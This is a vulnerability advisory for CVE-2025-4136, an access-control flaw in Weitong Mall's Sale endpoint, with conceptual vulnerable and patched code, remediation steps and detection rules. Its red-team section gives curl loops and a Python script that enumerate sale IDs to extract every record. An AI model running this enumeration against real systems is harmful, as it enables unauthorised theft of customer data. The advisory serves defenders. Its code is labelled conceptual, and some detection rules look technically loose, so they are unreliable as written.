CVE-2025-4136

Executive Summary

CVE-2025-4136 is a critical improper authorization vulnerability in Weitong Mall 1.0.0, specifically within the Sale Endpoint. The vulnerability allows an unauthenticated attacker to manipulate the ID argument, leading to unauthorized access to sale-related resources. This can result in data exfiltration, modification, or deletion of sensitive sales records. The exploit has been publicly disclosed, increasing the risk of active exploitation. No patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a standalone web application vulnerability in Weitong Mall.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and a public exploit exists.

Deep Dive & Mechanics

The vulnerability resides in the Sale Endpoint of Weitong Mall 1.0.0. The endpoint likely processes requests to view, modify, or delete sale records. The application fails to properly validate whether the user is authorized to access the resource identified by the ID parameter. By simply changing the ID value in a request, an attacker can access or manipulate sale records belonging to other users or administrators.

Root Cause: The application does not implement proper access control checks (e.g., ownership verification, role-based access control) on the Sale Endpoint. The ID parameter is used directly in database queries without verifying that the current user has permission to access that specific record.

Attack Flow:

1. Attacker identifies the Sale Endpoint (e.g., /api/sale?id=123).
2. Attacker sends a request with a different ID value (e.g., /api/sale?id=456).
3. The server returns the sale record for ID 456 without checking if the attacker is authorized.
4. Attacker can enumerate IDs to exfiltrate all sale records.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/api/sale')
def get_sale():
    sale_id = request.args.get('id')
    # No authorization check
    sale = db.execute("SELECT * FROM sales WHERE id = ?", (sale_id,))
    return jsonify(sale)

Patched Code (Conceptual):

@app.route('/api/sale')
def get_sale():
    sale_id = request.args.get('id')
    user_id = get_current_user_id()
    # Authorization check: ensure the sale belongs to the current user
    sale = db.execute("SELECT * FROM sales WHERE id = ? AND user_id = ?", (sale_id, user_id))
    if not sale:
        return jsonify({"error": "Unauthorized"}), 403
    return jsonify(sale)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Weitong Mall 1.0.0
• Network access to the Sale Endpoint

Exploit Steps:

1. Identify the Sale Endpoint (e.g., http://target.com/api/sale).
2. Send a GET request with a manipulated id parameter:

   curl -X GET "http://target.com/api/sale?id=1"
   

3. Observe the response containing sale data.
4. Enumerate IDs (e.g., 1-1000) to extract all records:

   for i in {1..1000}; do curl -s "http://target.com/api/sale?id=$i"; done
   

Proof of Concept (PoC) Script:

import requests

target = "http://target.com/api/sale"
for id in range(1, 1001):
    r = requests.get(f"{target}?id={id}")
    if r.status_code == 200 and r.json():
        print(f"ID {id}: {r.text}")

Blue Team

Detection:

• Monitor for unusual patterns of requests to the Sale Endpoint with sequential or random id parameters.
• Alert on high volumes of 200 responses from the Sale Endpoint from a single IP.

Hunting:

• Search logs for requests to /api/sale with id parameters that do not correspond to the authenticated user's sales.
• Look for anomalous access patterns (e.g., rapid enumeration of IDs).

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /api/sale?id=<integer> from a single source IP.
  • Unusual number of 200 responses from the Sale Endpoint.
• Logs:
  • Web server logs showing repeated requests to /api/sale with varying id values.
  • Application logs showing access to sale records without proper user context.
• File System:
  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2025_4136_Weitong_Mall_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-4136 in Weitong Mall"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4136"
    strings:
        $sale_endpoint = "/api/sale?id="
        $id_param = "id="
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-4136 Weitong Mall Sale Endpoint Enumeration
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2025-4136 by monitoring for sequential ID requests to the Sale Endpoint.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/api/sale?id="
    condition: selection
falsepositives:
    - Legitimate API usage
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4136 Weitong Mall Sale Endpoint Enumeration"; flow:to_server; content:"/api/sale?id="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from the internet if possible.
2. Implement a Web Application Firewall (WAF) rule to block requests to /api/sale with suspicious id patterns.
3. Monitor logs for exploitation attempts.

Long-term Fix:

1. Apply proper authorization checks on the Sale Endpoint (see patched code example).
2. Update to a patched version if the vendor releases one.
3. Conduct a security audit of all endpoints for similar vulnerabilities.

Workaround:

• If source code is available, manually patch the authorization logic.
• Restrict access to the Sale Endpoint via network segmentation or VPN.

Valters IT
Securing Digital Frontiers